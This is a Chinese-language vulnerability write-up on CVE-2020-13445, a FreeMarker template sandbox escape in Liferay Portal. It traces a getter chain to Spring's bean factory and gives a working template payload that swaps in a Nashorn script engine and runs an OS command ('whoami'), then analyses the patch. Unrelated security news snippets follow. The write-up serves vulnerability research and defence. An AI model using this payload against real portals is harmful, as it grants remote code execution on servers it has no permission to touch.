<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Liferay+Portal+ 模板 RCE 分析(CVE-2020-13445)

    Andrew2021-02-17 21:57:15

    前言

    GHSL小組成員Alvaro Munoz在2020年3月報告了Liferay Portal中的模板注入漏洞,通過其描述可以得知具有編輯模板權限的用戶可以實現通過該漏洞實現遠程代碼執行,而漏洞產生原因是由于繞過了Liferay Portal自定義的安全保護機制從而使得允許通過Freemarker模板實例化任意對象完成沙箱逃逸(CVE-2020-13445)

    模板安全策略

    在Liferay Portal中實現了自定義的ObjectWrapper,在訪問對象時將會觸發wrap方法(使用黑、白名單校驗)

    class com.liferay.portal.template.freemarker.internal.RestrictedLiferayObjectWrapper

    圖片

    訪問對象時將經過wrap方法并觸發校驗調用 _checkClassIsRestricted 方法

    圖片跟入 _checkClassIsRestricted方法具體邏輯如下

    圖片

    在構造方法中傳入 allowedClassNamesrestrictedClassNamesrestrictedMethodNames 參數
    wrap 方法中調用 _checkClassIsRestricted 方法進行校驗。
    注:在低版本中不存在 RestrictedLiferayObjectWrapper 類,而核心邏輯位于 LiferayObjectWrapper

    而黑白名單來自于 com.liferay.portal.template.freemarker.configuration.FreeMarkerEngineConfiguration
    圖片

    受到限制的類

    com.liferay.portal.json.jabsorb.serializer.LiferayJSONDeserializationWhitelist
    java.lang.Class
    java.lang.ClassLoader
    java.lang.Compiler
    java.lang.Package
    java.lang.Process
    java.lang.Runtime
    java.lang.RuntimePermission
    java.lang.SecurityManager
    java.lang.System
    java.lang.Thread
    java.lang.ThreadGroup
    java.lang.ThreadLocal

    受到限制的變量

    httpUtilUnsafe
    objectUtil
    serviceLocator
    staticFieldGetter
    staticUtil
    utilLocator

    我們還需要關注Liferay Portal中的類解析器 com.liferay.portal.template.freemarker.internal.LiferayTemplateClassResolver
    此類是 freemarker.core.TemplateClassResolver 接口的實現,在加載class時將調用 resolve 方法
    圖片

    • Execute、ObjectConstructor 無法被加載

    • 非白名單中的類無法被加載

    以上限制將導致無法在模板中創建對象或是經過ClassLoader加載Class等方法來利用

    漏洞分析

    雖然存在著諸多限制,但是允許通過模板上下文中暴露的大量對象提供的方法完成一個鏈式調用后繞過安全機制來實例化任意對象最終完成逃逸導致遠程代碼執行

    在模板上下文中存在著許多變量,每個變量都對應到一個對象,而這些對象中暴露的方法可能會存在問題。
    其中${renderRequest} 的類型是 class com.liferay.portlet.internal.RenderRequestImpl,同時它是 class com.liferay.portal.kernel.portlet.LiferayRenderRequest 的子類
    在父類 class com.liferay.portlet.internal.RenderRequestImpl 中存在一個getter方法 public PortletContext getPortletContext()
    圖片
    通過此方法我們可以獲取到 class com.liferay.portlet.internal.PortletContextImpl 的實例(PortletContext)

    PortletContextImpl 中存在getter方法為 public ServletContext getServletContext()
    圖片
    通過此方法我們可以繼續獲取到 ServletContext,但它是由ASM生成,而并非是容器原生的 ServletContext

    不過這個 ServletContext 提供了 getContext 方法,接著調用該方法我們可以獲得容器原生的 ServletContext 實例(Tomcat中的ApplicationContextFacade
    圖片
    至于為什么要獲取到容器的 ServletContext,是因為在下一步我們需要從Servlet上下文中通過 getAttribute 方法獲取到Spring的 ApplicationContext
    這個保留在上下文Attribute中的命名為 org.springframework.web.context.WebApplicationContext.ROOT

    經過測試由ASM生成的 ServletContext 是無法獲取到該Attribute的
    圖片

    而容器的 ServletContext 是可以獲取到的
    圖片

    此時我們已經拿到到了Spring的 ApplicationContext
    實例類型為Liferay Portal中實現的 class com.liferay.portal.spring.context.PortalApplicationContext,它是 class org.springframework.web.context.support.XmlWebApplicationContext 的子類

    目前獲取到的 Spring ApplicationContext 可以做很多的事情,但是要想達到遠程代碼執行的效果還是需要繼續探索。
    我們可以通過獲取到 BeanFactory 篡改 BeanDefinitions 中的 beanClass 類型為自定義類型 以及 scope 作用域為”prototype”,然后調用 getBean 方法, Spring將實例化一個我們定義的類型對象并返回達到實例化任意對象的效果。

    這里的思路是實例化JDK中的 Nashorn 腳本引擎工廠,接著調用 getScriptEngine 獲取 Nashorn 引擎實例,再調用 eval 方法來執行腳本。
    尋找 BeanDefinition 時,只需要注意構造方法的參數即可,例如 Nashorn 腳本引擎工廠為無參構造方法。
    其中名為 com.liferay.document.library.kernel.service.DLAppServiceBeanDefinition 是符合這個條件的。
    圖片

    整個調用鏈及利用如下:

    1. 通過內置對象 ${renderRequest} 調用 getPortalContext() 獲取 PortalContext 對象

    2. 通過 PortalContext 獲取 ServletContext (ServletContextDelegate - 由 ASM 生成)

    3. 通過 ServletContextDelegate 調用 getContext(“/“) 獲取 ApplicationContext

    4. 通過 ApplicationContext 調用 getAttribute(“org.springframework.web.context.WebApplicationContext.ROOT”) 獲取 PortalApplicationContext(繼承至 Spring XmlWebApplicationContext)

    5. 通過 PortalApplicationContext 調用 getBeanFactory() 獲取 LiferayBeanFactory (繼承至 Spring DefaultListableBeanFactory)

    6. 通過 LiferayBeanFactory 調用 getBeanDefinition(“com.liferay.document.library.kernel.service.DLAppService”) 獲取 DLAppService 的 BeanDefinition

    7. 通過 BeanDefinition 調用 setScope(“prototype”) 修改 scope 為 “prototype” (非單例)

    8. 通過 BeanDefinition 調用 setBeanClassName(“jdk.nashorn.api.scripting.NashornScriptEngineFactory”) 修改 BeanClass 為 “jdk.nashorn.api.scripting.NashornScriptEngineFactory” (Nashorn 腳本引擎工廠)

    9. 通過 LiferayBeanFactory 調用 registerBeanDefinition 將篡改后的 BeanDefinition 重新注冊

    10. 通過 LiferayBeanFactory 調用 getBean 將會導致創建 Nashorn 腳本引擎工廠對象并獲取

    11. 通過 NashornScriptEngineFactory 調用 getScriptEngine() 獲取 Nashorn 腳本引擎對象

    12. 通過 NashornScriptEngine 調用 eval 執行惡意腳本,觸發遠程代碼執行

    構造回顯 Payload

    <#assign sp=renderRequest.getPortletContext().getServletContext().getContext("/").getAttribute("org.springframework.web.context.WebApplicationContext.ROOT").getBeanFactory().getBeanDefinition("com.liferay.document.library.kernel.service.DLAppService")>
    <#assign ec=sp.setScope("prototype")>
    <#assign eb=sp.setBeanClassName("jdk.nashorn.api.scripting.NashornScriptEngineFactory")>
    <#assign xx=renderRequest.getPortletContext().getServletContext().getContext("/").getAttribute("org.springframework.web.context.WebApplicationContext.ROOT").getBeanFactory().registerBeanDefinition("sp",sp)>
    <#assign res=renderRequest.getPortletContext().getServletContext().getContext("/").getAttribute("org.springframework.web.context.WebApplicationContext.ROOT").getBeanFactory().getBean("sp").getScriptEngine().eval("var a = new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','whoami']);var b=a.start().getInputStream();var c=Java.type('com.liferay.portal.kernel.util.StreamUtil');var d=new java.io.ByteArrayOutputStream();c.transfer(b,d,1024,false);var e=new java.lang.String(d.toByteArray());e")>
    ${res}

    圖片

    觸發后成功執行
    圖片

    補丁分析

    Liferay Portal 7.3.2-GA3 中較之前版本增加了如下黑名單,其中增加了 com.liferay.portal.spring.context.* 導致無法訪問 Spring ApplicationContext

    com.ibm.*
    com.liferay.portal.spring.context.*
    io.undertow.*
    org.apache.*
    org.glassfish.*
    org.jboss.*
    org.springframework.*
    org.wildfly.*
    weblogic.*

    參考:https://github.com/liferay/liferay-portal/...

    原創: 帶頭老哥 補天平臺
    原文鏈接:https://mp.weixin.qq.com/s/xWmGqM1oQYrg3T8...

    portalliferay
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    我們可以通過獲取到 BeanFactory 篡改 BeanDefinitions 中的 beanClass 類型為自定義類型 以及 scope 作用域為”prototype”,然后調用 getBean 方法, Spring將實例化一個我們定義的類型對象并返回達到實例化任意對象的效果。這里的思路是實例化JDK中的 Nashorn 腳本引擎工廠,接著調用 getScriptEngine 獲取 Nashorn 引擎實例,再調用 eval 方法來執行腳本。尋找 BeanDefinition 時,只需要注意構造方法的參數即可,例如 Nashorn 腳本引擎工廠為無參構造方法。其中名為 的 BeanDefinition 是符合這個條件的。
    僵尸網絡于2020年11月出現在威脅領域,在某些情況下,攻擊利用了最近披露的漏洞來注入OS命令。攻擊旨在破壞受感染的系統以創建IRC僵尸網絡,該僵尸網絡以后可用于進行多種惡意活動,包括DDoS攻擊和加密采礦活動。一旦感染了設備,它將稍后用作攻擊平臺。它們在代碼的不同功能中用于不同的檢查系統的TerraMaster TOS版本創建和發送數據包中間人攻擊的ARP中毒。該僵尸網絡尚處于早期階段,在分析時,IRC面板顯示它僅控制188個僵尸網絡。
    根據2022年X-Force威脅情報指數,從2020年到2021年,漏洞利用導致的事件數量增加了33%。2020年這一比例僅為10%。
    接近1400萬基于Linux的系統直接暴露在互聯網上,成為大量現實世界攻擊借以牟利的目標,造成這些系統上遍布惡意Web shell、加密貨幣挖礦機、勒索軟件和其他木馬。該公司檢測到針對Linux云環境的近1500萬起惡意軟件事件,發現加密貨幣挖礦機和勒索軟件占據了所有惡意軟件的54%,Web shell的份額是29%。
    近日網上爆出IBM WebSphere Portal 9及可能更新的版本存在多個SSRF和RCE漏洞。未授權用戶可利用SSRF訪問內網URL資源,認證后用戶可以實現RCE。
    IBM WebSphere Portal是美國IBM公司的一套企業門戶軟件。該軟件能夠創建一個聯接企業內部和外部的平臺,可讓員工、客戶和供應商等通過該平臺訪問企業內部數據。 IBM WebSphere Portal 9.0.0.0版本至9.0.0.0 CF15版本和8.5.0.0版本至8.5.0.0 CF15版本中存在跨站腳本漏洞。攻擊者可利用該漏洞向Web UI中注入任意的JavaScript
    Cybernews 研究團隊12月12日報告稱,印度外交部專門負責對外聯絡海外印度僑民的平臺Global Pravasi Rishta Portal 泄露了敏感數據,包括用戶個人姓名和護照詳細信息。泄露原因可能是由于安全措施不力,例如缺乏有效的身份驗證。
    思科 Talos 安全團隊發表了兩篇博文,披露惡意應用在利用開源工具偽造簽名時間戳,而這些惡意應用主要針對中文用戶。這個例外制造了一個漏洞,允許新編譯的驅動程序使用 2015 年 7 月 29 日之前頒發或過期的未撤銷證書簽名。主要針對中文用戶的惡意程序利用這些開源工具使用竊取的證書進行簽名,其中之一是 RedDriver。
    據悉,Global Pravasi Rishta Portal以明文形式公開了注冊用戶的用戶名、姓氏、電話、電子郵件地址,職業狀態、護照號碼和居住國。
    Andrew
    暫無描述
      亚洲 欧美 自拍 唯美 另类